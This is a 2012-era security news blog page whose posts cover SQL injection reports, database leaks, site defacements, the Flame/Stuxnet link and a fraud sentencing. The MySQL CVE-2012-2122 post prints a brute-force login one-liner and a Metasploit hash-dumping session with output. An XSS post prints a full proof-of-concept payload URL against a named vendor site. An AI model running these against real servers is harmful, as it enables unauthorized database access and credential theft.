Search This Blog
Powered by Blogger.

Blog Archive

Labels

Footer About

Footer About

Labels

Load More
Trendy Right Now

Popular Posts

Web Application Vulnerability
SQL Injection Vulnerability Vulnerability Web Application Vulnerability

Alaska.edu vulnerable to SQL injection


A Grey-hat hacker called as 'G4mbi7' discovered SQL Injection vulnerability in the Alaska Volcano Observatory website.

The site is vulnerable to Blind Sql injection ,according to the hacker report. He found this vulnerability a few months ago.

But there is no patch from admin. So he decided to inform about the vulnerability to the admin. He sent a notification with details about the vulnerability. After a week , the admin patched vulnerability.

Read more »
Malware Report
Breaking News Malware Report

Flame and Stuxnet malware unleashed by same Master


The Two infamous malwares Flame and Stuxnet are unleashed by same Master, say Kaspersky Labs, who have discovered an identical piece of code in both worms. What appeared to be two unrelated programs are probably part of the same cyberwar campaign.

Experts spotted the Flame malware last month. Intially They didn’t consider the two pieces of malware related because Stuxnet (and Duqu) were created based on the Tilded platform, while Flame was not.

However, as it turns out, researchers  unearthed some previously unknown facts that completely transform the current view of how Stuxnet was created and its link with Flame.

Even though the two viruses are built on completely different platforms and most likely developed independently, they shared key pieces of code during the development process, the security firm explained.

The finding in question relates to “Resource 207,” a module found in earlier versions of Stuxnet that bears a list of “striking resemblance” to Flame, including “names of mutually exclusive objects, the algorithm used to decrypt strings and similar approaches to file naming.”

"The new findings that reveal how the teams shared the source code of at least one module in the early stages of development prove that the groups co-operated at least once," wrote Aleksandr Gostev, chief security expert for Russian security company Kaspersky Labs.

More details about the analysis can be found here.

Read more »
Vulnerability
Application Vulnerability Featured Vulnerability

A critical Security vulnerability in MySQL/MariaDB [CVE-2012-2122]


Security researchers reveal the existence of a serious security vulnerability in MariaDB and MySQL that enables an attacker to gain root access to the database server.Th vulnerability has been assigned to CVE-2012-2122 id;

According to Sergei Golubchik, security coordinator at MariaDB, the flaw doesn’t affect official vendor binaries, but it does expose the customers of MariaDB and MySQL who use versions such as 5.1.61, 5.2.11, 5.3.5, 5.5.22 and prior.


This flaw was rooted in an assumption that the memcmp() function would always return a value within the range -127 to 127 (signed character). On some platforms and with certain optimizations enabled, this routine can return values outside of this range, eventually causing the code that compares a hashed password to sometimes return true even when the wrong password is specified. Since the authentication protocol generates a different hash each time this comparison is done, there is a 1 in 256 chance that ANY password would be accepted for authentication.

In short, if you try to authenticate to a MySQL server affected by this flaw, there is a chance it will accept your password even if the wrong one was supplied.

The following one-liner in bash will provide access to an affected MySQL server as the root user account, without actually knowing the password.

$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
mysql>

Caveats and Defense

The first rule of securing MySQL is to not expose to the network at large in the first place. Most Linux distributions bind the MySQL daemon to localhost, preventing remote access to the service. In cases where network access must be provided, MySQL also provides host-based access controls. There are few use cases where the MySQL daemon should be intentionally exposed to the wider network and without any form of host-based access control.


If you are responsible for a MySQL server that is currently exposed to the network unnecessarily, the easiest thing to do is to modify the my.cnf file in order to restrict access to the local system. Open my.cnf with the editor of your choice, find the section labeled [mysqld] and change (or add a new line to set) the "bind-address" parameter to "127.0.0.1". Restart the MySQL service to apply this setting.

Exploit Module for PenTesters:
This evening Jonathan Cran (CTO of Pwnie Express and Metasploit contributor) committed a threaded brute-force module that abuses the authentication bypass flaw to automatically dump the password database. This ensures that even if the authentication bypass vulnerability is fixed, you should still be able to access the database using the cracked password hashes. A quick demonstration of this module is shown below using the latest Metasploit Framework GIT/SVN snapshot.


$ msfconsole

msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump

msf auxiliary(mysql_authbypass_hashdump) > set USERNAME root

msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 127.0.0.1

msf auxiliary(mysql_authbypass_hashdump) > run



[+] 127.0.0.1:3306 The server allows logins, proceeding with bypass test

[*] 127.0.0.1:3306 Authentication bypass is 10% complete

[*] 127.0.0.1:3306 Authentication bypass is 20% complete

[*] 127.0.0.1:3306 Successfully bypassed authentication after 205 attempts

[+] 127.0.0.1:3306 Successful exploited the authentication bypass flaw, dumping hashes...

[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D

[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D

[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D

[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D

[+] 127.0.0.1:3306 Saving HashString as Loot: debian-sys-maint:*C59FFB311C358B4EFD4F0B82D9A03CBD77DC7C89

[*] 127.0.0.1:3306 Hash Table has been saved: 20120611013537_default_127.0.0.1_mysql.hashes_889573.txt

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

Reference:
Rapid7

Read more »
Database Leaked
Database Leaked

NEA.gov & Department of Public Enterprise of South Africa hacked by Zer0Pwn


The hacker known as Zer0Pwn hacked two Government sites and compromised the database belong to. The National Endowment for the Arts and Department of Public Enterprise of South Africa has been exploited via SQL Injection vulnerability.

Hacker dumped the database belong to Department of Public Enterprise of South Africa in pastebin.  The leak contains database details along with username and password details. Unfortunately, the passwords are in plain text.

The dump belong to National Endowment for the Arts website contains MySql Root username ,hashed password and host details.
Read more »
Database Leaked
Database Leaked

UACRAO website hacked by Mr. Security

A Hacker called as Mr.Security have hacked into the official site of the Utah Association of Collegiate Registrars and Admissions Officers(UACRAO) and compromised the database.

He dumped the database in Anonpaste. The leak contains username and password details. Also the leak contains the details about the database.

"Things like this happens all day long, every day of the year. Just don't make a mess of it and secure the shit. Times of friendly hackers is over, due to the FBI and police that arrested them. The age of the new hackers, has begon." Hacker said in the leak.

Read more »
Web Application Vulnerability
Software Release Web Application Vulnerability

WebSploit Toolkit Version 1.8 Released


Fardin OxOptimOus have released new version 1.8 of Websploit Toolkit. WebSploit Is An Open Source Project For Scan And Analysis Remote System From Vulnerability.

Web Tools Operations Added

  • PHPMyAmin Login Page Finder
  • Directory Scanner
  • Apache User Direcoty Scanner



Fixed Bugs :

  • smal keyboard control bug fixed
  • update bug fixed
  • ettercap path for backbox fixed

Download it from here:
http://sourceforge.net/projects/websploit/files/latest/download

Read more »
Security Breach
Breaking News Database Leaked Security Breach

League of Legends Online game website hacked


Hackers breached the official website of Online real-time strategy game League of Legends(from Riot Games). Riot Games issued a security warning in their official site.

According to the statement, the Hackers gained access to certain personal player data contained in certain EU West and EU Nordic & East databases .


"The most critical data accessed included email address, encrypted account password, summoner name, date of birth, and – for a small number of players – first and last name and encrypted security question and answer." The statement reads.

"Absolutely no payment or billing information of any kind was included in the breach"

After further investigation, they determined that more than half of the passwords were simple enough to be at risk of easy cracking. As a security precaution, Riot Games sent an email to all players on these platforms.  The fixed the specific security issue that hacker exploited.
Read more »
Database Leaked
Breaking News Database Leaked

eHarmony Works with Law Enforcement in Password Leak Investigation

After the database leak from eHarmony wesbite, eHarmony released an update statement saying that they are investigating the hack with the help of law enforcement authorities.


“We have also been working with law enforcement authorities in our investigation and have been in touch with one of the other companies affected as well,” eHarmony’s Blog post reads.

Similar to LinkedIn and Last.fm, eHarmony is also reluctant in providing exact details. However, they’ve taken certain steps to remove the risks posed by the incident.

While they fail to provide the exact number of impacted individuals, they highlight the fact that the “small percentage of affected accounts” have been secured by disabling their passwords.

They sent an email to all affected members and provided them with specific instructions on how to change their password and tips on how to create a robust password. The email also included a direct phone number and live online chat access to our Customer Care team so we could personally address concerns and questions.
Read more »
XSS Vulnerability
Vulnerability Web Application Vulnerability XSS Vulnerability

XSS Vulnerability found in 4 Antivirus websites



A Security Researcher Ankit Sharma has discovered Cross Site scripting vulnerability in four Antivirus websites.

The official websites belong to BitDefender , AVG, Avira and Total Defense Antivirus are vulnerable to xss.



In BitDefender TrafficLight , the URL input is not filtering the XSS. The Url input allows hackers to run malicious xss code. It can results in phishing attacks.

POC:
http://trafficlight.bitdefender.com/info?url=%27;alert%28String.fromCharCode%2888,83,83,32,32,66,89,32,32,65,78,75,73,84%20%29%29//\%27;alert%28String.fromCharCode%2888,83,83,32,32,66,89,32,32,65,78,75,73,84%20%29%29//%22;alert%28String.fromCharCode%2888,83,83,32,32,66,89,32,32,65,78,75,73,84%20%29%29//\%22;alert%28String.fromCharCode%2888,83,83,32,32,66,89,32,32,65,78,75,73,84%20%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83,32,32,66,89,32,32,65,78,75,73,84%20%29%29%3C/SCRIPT%3E



Read more »
Defaced Website
Defaced Website

50+ Pakistani sites hacked by Silent Hacker from indishell

Hacker called as 'Silent Hacker', from Indian Hacker group 'indiShell', have hacked into more than 50 Pakistani sites that includes some high profile sites.  Hacker defaced all websites.

Sites :-

http://www.nibd.edu.pk/
http://www.aicable.org/
http://www.doodlebug.pk/
http://www.funfrooz.com/
http://www.futurelinkspk.com/
http://www.gegabyte.org/
http://www.hellojuniors.com/
http://www.iffhamulquran.com/
http://ibdlp.com/
http://ghuncha.com/
http://www.imisoftwaresolutions.com/
http://infotainment-review.com/
http://www.kamalalmimar.com/
http://kashifashion.com/
http://www.kenzaacademy.com/
http://khatm-e-nabuwwat.com/
http://www.k2international.com.pk/
http://www.literaturegala.com/
http://lsws.org/
http://www.madnimedia.com/
http://massiverentrollgrowth.com/
http://www.megaengineering.com.pk/
http://naziaz.com/
http://www.nfrmg.org/
http://www.okpankpoaro.org/
http://www.pajamajokes.com/
http://www.onlineinternetmarketer.com/
http://www.pharmaplusplus.com/
http://www.ptftennis.net/
http://www.remotefoundation.org/
http://rifintl.net/
http://www.scholarship.pk/
http://www.sciaticacuretreatment.com/
http://www.shancontrols.com/
http://www.shaziabeauty.com/
http://www.southcity.edu.pk/
http://www.sss-afg.com/
http://mpisystems.net/
http://www.tabsmedia.com/
http://www.tareef.org/
http://www.theaccomplishedprofessional.com/
http://www.themakerz.com/
http://www.timenspacemedia.com/
http://tuffit.net/
http://urdupoetryandlitraturevideos.com/
http://waqarhameed.com/
http://www.web4beautytips.com/
http://jdevelopers.net/
http://nooralamkhan.com/
http://www.zecpk.com/
http://www.jhelumtime.com/
http://freelaptopdrivers.net/
http://www.socialinnovations.pk/
http://www.doodlebug.pk/
http://www.halaalfoundation.com/

Mirrors :-

http://arab-zone.net/mirror/101603/kashifashion.com/
http://arab-zone.net/mirror/101600/imisoftwaresolutions.com/
http://arab-zone.net/mirror/101601/infotainment-review.com/
http://arab-zone.net/mirror/101599/ghuncha.com/
http://arab-zone.net/mirror/101598/ibdlp.com/
http://arab-zone.net/mirror/101596/hellojuniors.com/
http://arab-zone.net/mirror/101597/iffhamulquran.com/
http://arab-zone.net/mirror/101595/gegabyte.org/
http://arab-zone.net/mirror/101594/futurelinkspk.com/
http://arab-zone.net/mirror/101593/funfrooz.com/
http://arab-zone.net/mirror/101592/aicable.org/
http://arab-zone.net/mirror/101591/nibd.edu.pk/
http://arab-zone.net/mirror/101590/arab-zone.net/mirror/92688/halaalfoundation.com/
http://arab-zone.net/mirror/101589/halaalfoundation.com/
http://arab-zone.net/mirror/101588/socialinnovations.pk/
http://arab-zone.net/mirror/101586/jhelumtime.com/
http://arab-zone.net/mirror/101587/freelaptopdrivers.net/
http://arab-zone.net/mirror/101584/nooralamkhan.com/
http://arab-zone.net/mirror/101585/zecpk.com/
http://arab-zone.net/mirror/101583/jdevelopers.net/
http://arab-zone.net/mirror/101580/urdupoetryandlitraturevideos.com/
http://arab-zone.net/mirror/101581/waqarhameed.com/
http://arab-zone.net/mirror/101578/timenspacemedia.com/
http://arab-zone.net/mirror/101579/tuffit.net/
http://arab-zone.net/mirror/101576/theaccomplishedprofessional.com/
http://arab-zone.net/mirror/101575/tareef.org/
http://arab-zone.net/mirror/101574/tabsmedia.com/
http://arab-zone.net/mirror/101572/sss-afg.com/
http://arab-zone.net/mirror/101609/madnimedia.com/
http://arab-zone.net/mirror/101610/massiverentrollgrowth.com/
http://arab-zone.net/mirror/101606/k2international.com.pk/
http://arab-zone.net/mirror/101605/khatm-e-nabuwwat.com/
http://arab-zone.net/mirror/101604/kenzaacademy.com/
http://arab-zone.net/mirror/101607/literaturegala.com/
Read more »
Cyber Crime
Cyber Crime

“t0pp8uzz” and “GM” Sentenced to Jail for Running Fraud Website

Jay Moore, known by his online moniker as t0pp8uzz, and his accomplice Damian Horne, aka GM, have been sentenced to jail after investigators accused them of running a fraud website worth an estimate of £26.9 million ($41 million or 33.2 million EUR).

According to UK’s Serious Organized Crime Agency (SOCA) Moore pleaded guilty to 12 fraud-related charges, hacking, and money laundering and received a 3-year jail sentence. Horne received 21 months after he also pleaded guilty.

The fraudsters managed to earn a lot of money after Moore (photo) launched the Freshshop, a site that intermediated the sale of stolen financial information. Horne was his right-hand man, in charge of “assisting” him.

They started timidly with selling stolen iTunes vouchers and online gaming codes on eBay, but soon enough they expanded their criminal activities to commercializing credit card details. To reach their goals, they relied on a network of bank accounts, online financial institutions and money exchange companies from abroad.

The Freshshop the cybercriminals were running looked like any other online retail store, but instead of the usual items, they were actually selling credit card data.

The valuable information was obtained not only from their own hacking operations, but also from other individuals who were looking for a way to sell the data they had stolen by breaching websites.

When authorities raided Moore’s home back in 2011, they found tens of thousands of pounds in cash, along with a number of computers connected to the Freshshop. They also found the card details of around 340,000 individuals.

He apparently gave his father around £40,000 (49,000 EUR or $61,000) to help him purchase a farm house and he bought a luxury car for himself. The fraudster told his parents that the money came from his apparently legit web design business.

Besides Moore and Horne, investigators have identified two other individuals, friends with the mastermind, who have been recruited to collect money from Western Union locations in Bristol.

Currently, SOCA is trying to identify the other cybercriminals who have been using the fraud site.

[source]
Read more »
Subscribe to: Comments (Atom)